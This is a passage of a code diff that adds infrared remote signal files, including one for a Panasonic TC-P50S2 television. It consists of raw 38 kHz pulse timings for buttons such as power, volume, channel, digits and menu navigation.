499 502 495 +# +name: Vol_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8066 4002 519 507 501 500 497 1503 492 508 500 1500 495 1480 525 1475 520 1506 499 3983 517 508 500 1500 495 1481 524 501 496 1504 491 510 498 503 494 507 501 18803 8073 3997 524 503 494 506 491 1483 522 504 493 1506 499 1476 519 1482 523 1478 517 3989 521 504 493 1482 523 1478 517 508 500 1476 519 507 501 500 497 505 492 18809 8066 4003 517 508 500 501 496 1503 492 509 499 1501 494 1480 525 1475 520 1481 524 3983 516 509 499 1501 494 1482 523 502 495 1505 500 500 497 504 493 508 500 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 4000 520 480 517 508 500 1500 495 505 492 1508 497 1502 493 1506 499 1502 493 3989 521 1503 492 1509 496 503 494 1506 499 1501 494 506 491 510 498 504 493 17807 8072 3997 524 501 496 505 492 1508 497 502 495 1505 500 1499 496 1504 491 1510 495 3986 524 1500 495 1506 499 500 497 1503 492 1508 497 503 494 507 501 501 496 17804 8064 4004 517 509 499 501 496 1504 491 509 499 1500 495 1505 500 1499 496 1505 500 3980 520 1505 500 1500 495 505 492 1508 497 1502 493 508 500 501 496 505 492 17807 8072 3995 526 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 515 1509 496 1503 492 508 500 1500 495 1506 499 501 496 505 492 509 499 17803 8065 4003 518 508 500 501 496 1504 491 509 499 1502 493 1507 498 1502 493 1508 497 3985 525 1500 495 1505 500 500 497 1503 492 1508 497 504 493 508 500 501 496 +# +name: Ch_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4006 525 501 496 504 493 1507 498 502 495 1505 500 1499 496 1504 501 1500 495 3987 523 1501 494 1507 498 502 495 505 492 1508 497 1503 492 509 499 503 494 17808 8069 4000 520 505 492 508 500 1500 495 506 491 1508 497 1503 492 1508 497 1504 491 3991 519 1505 500 1501 494 507 501 500 497 1502 493 1508 497 503 494 508 500 17803 8064 4006 525 501 496 504 493 1507 498 503 494 1505 500 1500 495 1505 500 1500 495 3988 522 1502 493 1507 498 503 494 506 491 1508 497 1503 492 509 499 503 494 +# +name: Ch_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8068 3999 521 504 493 507 501 1498 497 504 493 1505 500 1475 520 1479 526 1500 495 3987 523 502 495 1505 500 501 496 504 493 1506 499 1501 494 507 501 500 497 18802 8072 3996 524 502 495 505 492 1507 498 503 494 1505 500 1475 520 1480 525 1476 519 3987 523 501 496 1504 491 510 498 502 495 1504 501 1475 520 505 492 509 498 18798 8065 4001 519 507 501 499 498 1502 493 507 501 1499 496 1504 501 1473 522 1504 501 3981 518 506 491 1509 496 505 492 508 499 1500 495 1505 500 500 497 505 492 18808 8065 4001 519 507 501 500 497 1503 492 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 508 499 1501 494 507 501 500 497 1502 493 1508 497 504 493 508 500 +# +name: Menu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8071 3997 523 503 494 506 491 1509 496 504 493 1507 498 1477 518 1482 523 1478 517 3991 518 507 500 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 20805 8072 3997 523 503 494 507 501 1499 496 505 492 1507 498 1478 517 1483 522 1479 516 3991 518 507 500 501 496 504 493 508 499 500 497 1503 492 509 498 503 494 20805 8072 3997 523 503 494 506 491 1509 496 505 492 1482 523 1478 517 1483 522 1479 516 3991 518 506 491 510 497 503 494 507 490 510 497 1502 493 508 499 502 495 20801 8065 4000 520 506 491 509 499 1501 494 506 491 1483 522 1478 517 1483 522 1478 517 3990 519 506 491 509 499 502 495 506 491 509 499 1501 494 507 500 501 496 20799 8068 4000 520 505 492 508 500 1500 495 506 491 1483 522 1478 517 1483 522 1478 517 3989 520 505 492 508 499 501 496 505 492 507 500 1499 496 505 492 510 498 20796 8071 3995 525 500 497 504 493 1506 499 501 496 1504 491 1484 521 1479 516 1485 520 3986 524 501 496 505 492 509 498 502 495 505 492 1507 498 503 494 507 500 20798 8070 3998 522 504 493 507 501 1499 496 504 493 1506 499 1476 519 1482 523 1477 518 3989 520 504 493 508 499 501 496 504 493 507 501 1499 496 505 492 510 497 20798 8069 4001 519 507 501 500 497 1502 493 508 500 1500 495 1480 525 1475 520 1481 524 3983 516 509 498 503 494 506 491 510 497 503 494 1505 500 501 496 506 491 +# +name: Exit +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8063 4005 525 501 496 504 493 1506 499 502 495 1479 526 1474 521 1479 516 1485 520 3986 523 1476 519 1481 524 1476 519 1481 524 1475 520 506 491 509 499 503 494 16806 8072 3995 525 501 496 504 493 1482 523 502 495 1479 516 1484 521 1478 517 1484 521 3985 524 1475 520 1480 525 1475 520 1480 525 1475 520 505 492 509 499 502 495 16806 8071 3996 524 503 494 506 491 1484 521 504 493 1482 523 1476 519 1481 524 1477 518 3989 520 1479 516 1484 521 1479 516 1484 521 1479 516 509 499 503 494 507 490 16812 8065 4005 525 500 497 503 494 1506 499 501 496 1479 526 1474 521 1480 525 1476 519 3988 521 1478 517 1483 522 1478 517 1483 522 1479 516 509 499 502 495 506 491 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8070 3999 521 505 492 509 498 1501 494 506 491 1509 496 1479 526 1499 496 1506 499 3983 516 1510 495 505 492 1508 497 503 494 1506 499 502 495 506 491 511 497 18806 8065 4005 525 501 496 504 493 1507 498 503 494 1480 525 1475 520 1481 524 1477 518 3989 520 1481 524 501 496 1479 526 500 497 1478 517 510 497 503 494 508 499 18802 8070 4001 519 507 500 500 497 1503 492 508 499 1500 495 1480 525 1500 495 1506 499 3983 516 1484 521 504 493 1507 498 503 494 1506 499 501 496 505 492 510 498 18802 8070 4000 520 505 492 508 499 1501 494 507 501 1499 496 1504 501 1499 496 1506 499 3983 516 1509 496 505 492 1508 497 503 494 1506 499 502 495 506 491 510 497 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8069 4001 519 507 501 499 498 1502 493 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 510 498 503 494 1506 499 501 496 1504 501 500 497 503 494 508 499 19801 8069 4000 520 506 491 509 499 1502 493 508 499 1499 496 1504 501 1499 496 1480 525 3982 517 509 499 502 495 1504 501 499 498 1502 493 509 498 502 495 506 491 19811 8069 3999 521 505 492 508 499 1500 495 506 491 1483 522 1478 517 1484 521 1479 516 3991 518 507 500 501 496 1503 492 509 498 1477 518 508 499 501 496 505 492 +# +name: Set_ok +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8063 4003 517 509 498 502 495 1504 501 499 498 1501 494 1481 524 1501 494 1482 523 3983 516 1508 497 1480 515 510 497 503 494 506 491 1509 496 504 493 509 498 18799 8062 4005 525 501 496 504 493 1507 498 503 494 1505 500 1499 496 1480 525 1476 519 3987 522 1477 518 1483 522 503 494 506 491 509 499 1502 493 508 499 502 495 18806 8066 4003 517 509 498 502 495 1505 500 500 497 1503 492 1508 497 1479 516 1486 519 3987 522 1477 518 1483 522 503 494 506 491 509 498 1501 494 508 499 502 495 18804 8067 4001 519 508 500 501 496 1503 492 509 498 1501 494 1482 523 1477 518 1484 521 3985 524 1476 519 1481 524 502 495 505 492 508 499 1500 495 506 491 511 496 +# +name: - +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4005 525 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 524 1500 495 506 491 510 497 503 494 506 491 1509 496 505 492 509 498 19801 8067 3999 521 504 493 507 500 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1504 501 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 19804 8064 4005 525 500 497 503 494 1506 499 502 495 1504 501 1499 496 1504 501 1501 494 3987 522 1503 492 509 498 502 495 505 492 508 499 1501 494 507 500 501 496 19800 8067 3999 520 505 492 508 499 1500 495 506 491 1508 497 1502 493 1507 498 1502 493 3988 521 1503 492 509 498 502 495 506 491 509 498 1501 494 507 500 501 496 19801 8066 4000 520 506 491 509 498 1501 494 507 500 1499 496 1504 491 1508 497 1504 501 3981 518 1507 498 503 494 507 500 500 497 504 493 1507 498 503 494 507 500 19798 8069 3998 521 504 493 508 499 1500 495 506 491 1508 497 1503 492 1508 497 1504 501 3980 519 1506 499 502 495 505 492 509 498 501 496 1504 501 500 497 505 492 +# +name: + +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4001 518 507 500 499 498 1502 493 507 500 1474 521 1479 516 1484 521 1479 516 3990 519 506 491 1508 497 504 493 508 499 500 497 1503 492 509 498 503 494 19803 8063 4003 516 509 498 502 495 1505 500 500 497 1478 517 1483 522 1478 568 1431 522 3985 524 501 496 1481 524 501 496 505 492 508 499 1500 494 507 500 501 496 19800 8067 4000 519 506 491 509 498 1477 517 506 501 1473 521 1479 515 1483 522 1479 526 3980 518 506 491 1485 520 505 492 508 499 501 496 1479 516 509 498 503 494 19800 8066 3998 521 504 493 507 500 1474 520 504 493 1482 523 1477 517 1482 523 1477 517 3989 520 504 493 1483 522 503 494 506 491 509 498 1477 517 508 499 502 495 +# +name: Guide +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8062 4004 526 500 497 503 494 1505 500 501 496 1503 491 1484 521 1504 501 1500 495 3988 521 505 492 508 499 1500 495 506 491 1508 497 1479 516 510 497 504 493 18805 8064 4002 517 509 498 502 495 1504 501 500 497 1502 493 1482 523 1478 516 1484 521 3985 524 502 495 505 492 1507 498 503 494 1505 500 1475 519 506 491 511 496 18801 8068 4000 519 507 500 500 497 1502 493 508 499 1500 495 1505 500 1476 518 1482 523 3984 525 500 497 503 494 1506 499 501 496 1504 501 1475 519 506 491 510 497 18802 8067 4001 518 507 500 500 497 1503 492 508 499 1500 495 1481 524 1475 520 1481 524 3981 518 508 499 500 497 1503 491 508 499 1500 495 1482 523 501 496 506 491 18807 8062 4005 525 501 496 504 493 1507 498 502 495 1479 526 1475 519 1480 525 1476 518 3989 520 505 492 508 499 1500 495 506 491 1508 497 1479 516 509 498 503 494 +# +name: 0 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8067 4001 518 507 500 499 498 1502 493 508 499 1501 494 1505 500 1500 495 1507 498 3984 525 499 498 1503 492 509 498 501 496 1505 500 500 497 504 493 508 499 19799 8068 4001 518 507 501 500 497 1503 492 509 498 1501 494 1506 499 1501 493 1507 498 3984 525 500 497 1503 492 509 498 502 495 1506 499 502 495 505 492 509 498 +# +name: 1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8071 3995 524 501 496 504 493 1507 498 502 495 1504 501 1499 495 1504 501 1500 494 3986 523 503 494 506 491 509 498 1501 493 507 500 500 497 504 493 508 499 20792 8070 3996 523 502 495 505 492 1507 498 503 494 1504 501 1498 496 1503 491 1509 496 3985 524 501 496 505 492 508 499 1500 494 506 491 509 498 502 495 506 491 20803 8061 4004 515 510 497 502 495 1505 500 500 497 1501 493 1506 499 1500 494 1506 499 3982 516 508 499 501 496 504 493 1506 499 502 495 505 492 508 499 502 495 +# +name: 2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8068 3998 521 504 493 507 500 1499 495 505 492 1507 498 1476 518 1482 523 1477 517 3988 521 1480 525 500 497 503 494 1505 500 501 496 505 492 509 498 503 494 19801 8065 4002 517 508 499 501 496 1504 501 499 498 1501 493 1506 499 1501 494 1507 498 3983 515 1509 496 505 492 508 499 1501 493 507 500 500 497 504 493 508 499 19798 8068 3999 520 505 492 508 499 1501 494 506 491 1508 497 1502 493 1507 498 1502 493 3989 520 1504 501 500 497 503 494 1506 499 501 496 505 492 508 499 502 495 +# +name: 3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8064 4004 515 510 497 503 494 1505 500 501 496 1504 490 1509 496 1504 491 1510 495 3987 522 503 494 1506 499 502 495 1505 500 501 496 504 493 508 499 502 495 19804 8063 4005 525 501 496 504 493 1507 498 503 494 1506 499 1500 495 1505 500 1501 494 3989 520 505 492 1508 497 503 494 1507 498 503 494 506 491 510 497 504 493 19804 8072 3996 523 503 494 506 491 1509 496 505 492 1507 498 1502 493 1507 498 1503 492 3990 519 505 492 1508 497 504 493 1507 498 503 494 506 491 510 497 504 493 +# +name: 4 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4002 517 508 499 501 496 1504 501 499 498 1502 493 1507 498 1501 494 1507 498 3983 516 1509 496 1504 501 499 498 1502 493 508 499 502 495 505 492 509 498 18798 8071 3997 522 503 494 505 492 1508 497 504 493 1507 498 1501 494 1507 498 1503 492 3989 520 1504 501 1499 495 505 492 1508 497 503 494 507 500 500 497 504 493 18804 8065 4001 518 508 499 500 497 1503 492 509 498 1502 492 1507 498 1501 494 1508 497 3984 525 1499 495 1505 500 500 497 1503 492 509 498 502 495 506 491 510 497 +# +name: 5 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8065 4000 520 506 491 509 498 1502 493 507 500 1499 496 1504 491 1508 497 1504 501 3980 518 506 491 509 498 1501 494 1507 498 503 494 506 491 509 498 503 494 19801 8065 4003 516 509 498 502 495 1505 500 500 497 1503 492 1507 498 1502 493 1508 497 3985 524 501 496 504 493 1507 498 1502 493 508 499 501 496 505 492 509 498 19798 8069 3998 521 504 493 507 500 1499 495 505 492 1507 498 1502 493 1507 498 1503 492 3989 520 505 492 508 499 1500 494 1506 499 502 495 506 491 509 498 503 494 +# +name: 6 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8060 4002 517 507 500 500 497 1502 493 507 500 1498 497 1502 493 1507 498 1502 493 3987 522 1502 493 507 500 1499 496 1504 491 510 497 503 494 506 491 510 497 18797 8061 4003 516 508 499 501 496 1503 492 509 498 1501 494 1505 500 1500 494 1506 499 3983 515 1509 496 504 493 1506 499 1501 494 507 500 501 496 504 493 508 499 +# +name: 7 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8066 3999 520 506 491 509 498 1501 494 506 491 1509 496 1503 491 1508 497 1504 501 3980 518 506 491 1509 496 1503 492 1508 497 504 493 507 500 500 497 505 492 18805 8064 4002 517 508 499 501 496 1504 491 509 498 1501 494 1506 499 1500 494 1507 498 3983 516 509 498 1501 494 1506 499 1501 494 507 500 500 497 504 493 508 499 18796 8062 4002 518 508 499 501 496 1503 492 509 498 1501 494 1506 499 1500 495 1506 499 3982 517 507 500 1499 496 1504 491 1509 496 504 493 508 499 501 496 505 492 +# +name: 8 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8068 3995 524 500 497 503 494 1505 500 500 497 1502 493 1506 499 1501 494 1506 499 3982 517 1506 499 1500 495 1505 500 1499 496 505 492 509 498 502 495 505 492 17804 8068 3999 520 505 492 508 499 1501 494 506 491 1509 496 1503 492 1508 497 1504 501 3980 518 1506 499 1501 494 1505 500 1501 493 507 500 500 497 504 493 508 499 17799 8062 4005 525 501 496 504 493 1507 498 502 495 1504 501 1499 496 1503 492 1509 496 3985 524 1500 495 1505 500 1500 495 1505 500 501 496 505 492 509 498 503 494 17804 8068 3998 521 504 493 507 500 1499 495 505 492 1507 498 1501 494 1505 500 1501 494 3987 522 1477 517 1482 523 1476 518 1507 498 503 494 507 490 510 497 504 493 17807 8064 4003 516 510 497 503 494 1506 499 501 496 1504 490 1485 520 1480 525 1476 518 3987 522 1478 516 1484 521 1479 516 1484 521 504 493 508 499 501 496 506 491 17805 8067 4001 518 507 500 500 497 1503 492 508 499 1500 495 1480 525 1474 520 1481 524 3980 519 1480 525 1475 519 1479 515 1485 520 505 492 508 499 501 496 505 492 17806 8066 4001 518 507 500 500 497 1502 493 507 500 1499 495 1480 525 1474 520 1480 525 3980 518 1480 525 1475 519 1480 525 1475 519 505 492 509 498 502 495 507 490 17806 8065 4001 518 507 500 500 497 1503 492 508 499 1500 495 1505 500 1474 520 1480 525 3981 517 1482 523 1476 518 1507 498 1502 492 509 498 503 494 506 491 511 496 17805 8067 4002 517 508 499 501 496 1504 501 499 498 1502 492 1507 498 1501 494 1507 498 3984 525 1499 495 1504 501 1499 496 1504 501 500 497 503 494 507 500 501 496 17802 8071 3996 524 502 495 505 492 1508 497 503 494 1505 500 1500 495 1505 500 1501 494 3987 522 1502 492 1507 498 1502 493 1507 498 503 494 507 500 500 497 504 493 17806 8065 4001 518 507 500 500 497 1502 493 508 499 1500 495 1505 500 1499 495 1506 499 3982 516 1508 497 1503 492 1508 497 1504 490 510 497 503 494 507 500 501 496 17806 8066 4004 515 510 497 503 494 1506 499 502 495 1504 501 1499 495 1504 501 1500 495 3987 522 1502 493 1508 497 1503 492 1508 497 504 493 507 500 500 497 505 492 +# +name: 9 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8063 4001 519 507 500 499 498 1502 493 507 500 1499 495 1503 492 1508 497 1503 492 3990 519 506 491 510 497 503 494 506 491 1508 497 504 493 507 500 501 496 20799 8065 4001 519 507 500 499 498 1502 493 507 500 1500 495 1505 500 1499 496 1506 499 3983 516 509 498 502 495 505 492 508 499 1501 494 506 491 510 497 504 493 20801 8064 4004 515 509 498 502 495 1505 500 500 497 1502 493 1506 499 1501 494 1507 498 3983 516 510 497 503 494 507 490 510 497 1502 493 508 499 501 496 505 492 20803 8071 3994 525 500 497 504 493 1506 499 502 495 1504 501 1498 497 1503 492 1509 496 3986 523 502 495 505 492 509 498 502 495 1504 501 500 497 503 494 508 499 +# +name: Ent +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8063 4002 517 508 499 500 497 1503 492 508 499 1500 494 1504 501 1498 497 1504 501 3980 519 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18804 8066 4000 519 506 491 509 498 1501 494 506 491 1508 497 1502 493 1507 498 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18803 8066 4000 519 506 491 509 498 1501 494 507 500 1499 496 1503 492 1508 497 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18804 8066 3999 520 505 492 508 499 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 diff --git a/assets/resources/infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir b/assets/resources/infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir new file mode 100644 index 000000000..d3bd431ee --- /dev/null +++ b/assets/resources/infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1735 448 424 445 1301 448 425 444 429 450 422 447 426 443 430 449 423 446 427 452 421 448 424 445 428 451 422 447 1299 450 422 447 426 443 430 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 444 429 450 423 446 426 443 430 449 423 446 427 452 1294 444 428 451 1295 443 1303 446 1300 449 1297 452 421 500 373 444 1302 447 426 443 1303 446 1300 449 1297 452 1294 444 428 451 1295 443 74431 3476 1736 448 425 444 1302 447 426 453 419 450 423 446 427 452 420 449 424 445 427 452 421 448 425 444 428 451 422 447 1299 450 422 447 426 453 420 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 454 419 450 423 446 454 425 447 422 451 418 427 452 1294 444 428 451 1295 443 1302 447 1300 449 1297 452 420 449 451 418 1301 448 424 445 1302 447 1299 450 1296 442 1304 445 454 425 1294 444 74431 3475 1737 446 425 454 1293 445 426 453 420 449 424 445 427 452 421 448 424 445 428 451 422 447 425 454 419 450 422 447 1300 449 424 445 427 452 421 448 424 445 428 451 421 448 425 454 418 451 422 447 1300 449 424 445 454 425 420 449 424 445 428 451 421 448 425 444 429 450 1296 453 419 450 1297 452 1294 444 1301 448 1298 451 422 509 364 453 1293 445 427 452 1294 444 1301 448 1298 451 1296 453 420 449 1296 453 +# +name: CC +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1762 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 450 419 454 415 458 421 451 418 455 424 448 421 1325 424 449 420 453 416 457 422 450 419 454 415 458 421 451 418 455 424 448 421 1325 424 449 420 453 416 456 423 450 419 453 416 457 422 451 418 454 415 1331 418 455 424 1321 417 1329 420 1325 424 450 419 454 415 1330 419 1327 422 452 417 1328 421 1325 424 1323 415 457 422 451 418 455 424 +# +name: SAP +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 454 415 1331 418 428 451 448 421 452 417 456 423 449 420 453 416 457 422 450 419 454 425 448 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 450 419 454 415 458 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 451 418 454 425 448 421 1325 424 1322 416 456 423 450 419 1327 422 1324 425 448 421 452 417 1329 420 1326 423 450 419 454 415 1331 418 1328 421 452 417 1302 447 +# +name: Input +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 454 415 1304 445 455 424 449 420 452 417 456 423 450 419 454 415 457 422 451 418 455 424 448 421 452 417 1329 420 426 443 457 422 450 419 427 452 421 448 452 417 456 423 449 420 453 416 1330 419 454 415 458 421 451 418 455 424 449 420 452 417 429 450 450 419 1326 422 451 418 1328 421 452 417 456 423 449 420 453 416 457 422 1296 442 458 421 1324 425 421 448 452 417 456 423 450 419 1299 450 +# +name: Viera_Link +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3471 1768 415 458 421 1324 424 449 420 453 416 456 423 450 419 454 415 458 421 451 418 455 424 448 421 452 417 456 423 1323 415 457 422 451 418 455 424 448 421 452 417 456 423 450 419 453 416 457 422 1324 424 1321 417 456 423 449 420 1326 422 450 419 454 425 448 421 452 417 1329 420 453 416 457 422 451 418 1328 420 1325 424 449 420 1326 422 450 419 454 425 448 421 1325 423 1322 416 1303 445 454 425 448 421 +# +name: Menu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3482 1757 416 457 422 1324 425 420 449 451 418 455 424 421 448 452 417 456 423 450 419 453 416 457 422 451 418 455 424 1294 444 428 451 422 447 426 443 457 422 451 418 455 424 448 421 452 417 456 423 1322 416 457 422 423 446 454 425 448 421 452 417 456 423 449 420 453 416 457 422 1324 424 421 448 452 417 1329 420 426 443 1330 419 455 424 421 448 1325 423 449 420 453 416 1330 418 454 425 1294 444 1302 446 +# +name: Viera_Tools +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1764 419 454 415 1331 418 455 424 421 448 425 444 456 423 450 419 454 415 457 422 451 418 455 424 449 420 452 417 1329 419 453 416 430 449 424 445 455 424 449 420 452 417 456 423 450 419 454 415 1303 445 455 424 449 420 452 417 456 423 450 419 454 415 458 421 451 418 1301 447 1298 450 1323 425 1294 444 428 451 1295 443 1303 445 1328 420 1325 423 1295 443 1331 417 1301 448 425 444 1302 446 1300 448 451 418 +# +name: SD_Card +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3476 1763 420 452 417 1302 446 454 415 458 421 451 418 455 424 449 420 453 416 457 422 450 419 454 425 448 421 452 417 1301 447 453 416 430 449 450 419 427 452 448 421 452 417 456 423 450 419 453 416 1330 418 1301 447 425 444 456 423 1296 442 458 421 451 418 455 424 449 420 1326 422 1324 424 448 421 1325 423 450 419 1327 421 424 445 1301 447 453 416 1330 418 454 425 448 421 452 417 1329 419 453 416 458 421 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1738 445 427 452 1321 417 456 423 450 419 426 443 458 421 451 418 455 424 449 420 452 417 456 423 450 419 454 415 1304 444 455 424 422 447 425 444 457 422 450 419 454 425 448 421 452 417 456 423 1322 416 457 422 451 418 455 424 448 421 452 417 456 423 450 419 453 416 457 422 1324 425 1295 443 1303 445 454 425 448 421 1297 451 422 447 453 416 1303 445 1300 449 1298 450 449 420 453 416 1303 445 1301 447 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1767 416 456 423 1296 442 458 421 451 418 455 424 449 420 453 416 457 422 451 418 454 425 448 421 452 417 456 423 1323 415 458 421 451 418 455 424 449 420 453 416 456 423 450 419 454 415 458 421 1325 423 449 420 453 416 457 422 451 418 455 424 448 421 452 417 456 423 450 419 1327 421 452 417 1301 447 453 416 457 422 1324 424 448 421 452 417 1329 419 454 415 1331 417 455 424 449 420 1326 422 1324 424 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 454 425 1321 417 456 423 449 420 453 416 457 422 451 418 455 424 449 420 453 416 456 423 450 419 454 425 1293 445 456 423 449 420 453 416 457 422 451 418 455 424 449 420 452 417 456 423 1323 425 447 422 452 417 456 423 449 420 453 416 457 422 451 418 455 424 1294 444 1302 446 1300 448 1298 450 449 420 453 416 1330 418 427 452 1322 416 1302 446 1327 421 1298 450 449 420 426 443 1330 418 1301 447 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3483 1729 454 420 449 1297 451 422 447 426 443 430 449 423 446 428 451 421 448 425 444 429 450 423 446 427 452 421 448 1298 450 423 446 427 452 421 448 424 445 429 450 422 447 426 453 420 501 372 507 1239 447 426 443 430 449 424 445 428 503 370 447 425 444 430 449 423 446 1301 447 1298 450 423 446 1300 448 425 444 429 450 1296 452 420 449 1298 450 1295 443 430 449 1297 451 421 448 425 444 1302 446 1300 448 +# +name: OK +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1762 421 452 417 1329 419 453 416 458 421 451 418 455 424 449 420 453 416 457 422 451 418 454 425 448 421 452 417 1329 419 454 415 458 421 452 417 456 423 449 420 453 416 457 422 451 418 455 424 1322 416 456 423 450 419 454 425 448 421 452 417 429 450 449 420 453 416 1331 417 455 424 449 420 1326 422 451 418 454 425 1321 417 456 423 1323 425 448 421 452 417 1329 419 453 416 457 422 1324 424 1322 416 +# +name: Submenu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3475 1763 420 453 416 1303 445 455 424 421 448 425 444 457 422 450 419 454 425 448 421 452 417 456 423 450 419 454 415 1331 417 428 451 449 420 453 416 457 422 451 418 455 424 449 420 426 443 457 422 1324 424 1322 416 457 422 450 419 1328 420 425 444 456 423 450 419 454 425 1321 417 1302 446 1299 449 451 418 455 424 1322 416 430 449 1296 452 448 421 1325 423 1323 425 1321 417 456 423 1323 425 420 449 424 445 +# +name: Return +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3477 1763 420 453 416 1330 418 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 454 415 1331 417 456 423 449 420 454 415 458 421 451 418 455 424 449 420 453 416 457 422 1324 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 457 422 450 419 455 424 1321 417 456 423 1323 425 448 421 1325 423 1323 425 448 421 452 417 1329 419 454 415 1331 417 456 423 1295 443 458 421 +# +name: Red +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3479 1761 422 451 418 1328 420 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 454 415 458 421 452 417 1329 419 453 416 458 421 451 418 455 424 449 420 453 416 457 422 451 418 455 424 1322 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 448 421 452 417 457 422 450 419 1328 420 1325 423 1323 425 448 421 452 417 456 423 450 419 454 415 1331 417 1329 419 1327 421 1297 451 +# +name: Green +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1740 443 456 423 1323 425 448 421 452 417 456 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1329 419 454 425 448 421 452 417 456 423 450 419 454 415 458 421 452 417 1329 419 454 425 448 421 452 417 1329 419 1327 421 1325 423 450 419 1327 421 452 417 456 423 450 419 1327 421 1325 423 1323 415 1304 444 +# +name: Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3473 1767 416 429 450 1324 424 421 448 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 1326 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 454 415 1331 417 456 423 450 419 454 425 420 449 452 417 429 450 450 419 454 425 1321 417 1329 419 454 425 448 421 1326 422 1296 452 1322 416 457 422 1324 424 1322 416 430 449 451 418 1329 419 1300 448 1298 450 1296 452 74416 3475 1737 446 454 425 1321 417 456 423 450 419 427 452 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 1324 424 421 448 453 416 457 422 451 418 455 424 448 421 453 416 457 422 451 418 1328 420 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 1327 421 1325 423 450 419 454 425 1294 444 1302 446 1300 448 452 417 1329 419 1300 448 452 417 429 450 1296 452 1321 417 1329 419 1300 448 +# +name: Yellow +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3476 1737 445 455 424 1295 443 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1298 450 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1303 445 455 424 449 420 453 416 457 422 451 418 456 423 449 420 454 415 458 421 1324 424 449 420 454 415 1331 417 1301 447 1299 449 452 417 456 423 1323 425 448 421 453 416 1330 418 1300 448 1326 422 1296 452 +# +name: Vol_Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3474 1765 418 455 424 1323 415 458 421 451 418 456 423 422 447 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1330 418 455 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 